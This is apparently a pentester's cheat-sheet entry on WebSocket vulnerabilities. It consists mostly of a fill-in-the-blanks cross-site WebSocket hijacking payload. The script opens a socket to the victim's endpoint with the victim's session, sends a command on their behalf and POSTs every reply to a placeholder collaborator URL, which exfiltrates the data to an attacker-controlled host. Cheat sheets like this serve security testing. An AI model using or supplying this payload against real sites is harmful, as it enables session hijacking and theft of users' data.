Websockets

Common vulnerabilities

Manipulating Websocket Handshake

Cross-site WebSocket Hijacking

<script>
    var ws = new WebSocket('wss://{websocket_rl}');
    ws.onopen = function() {
        ws.send("{command_to_send_as_user}");
    };
    ws.onmessage = function(event) {
        fetch('{collaborator_url}', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>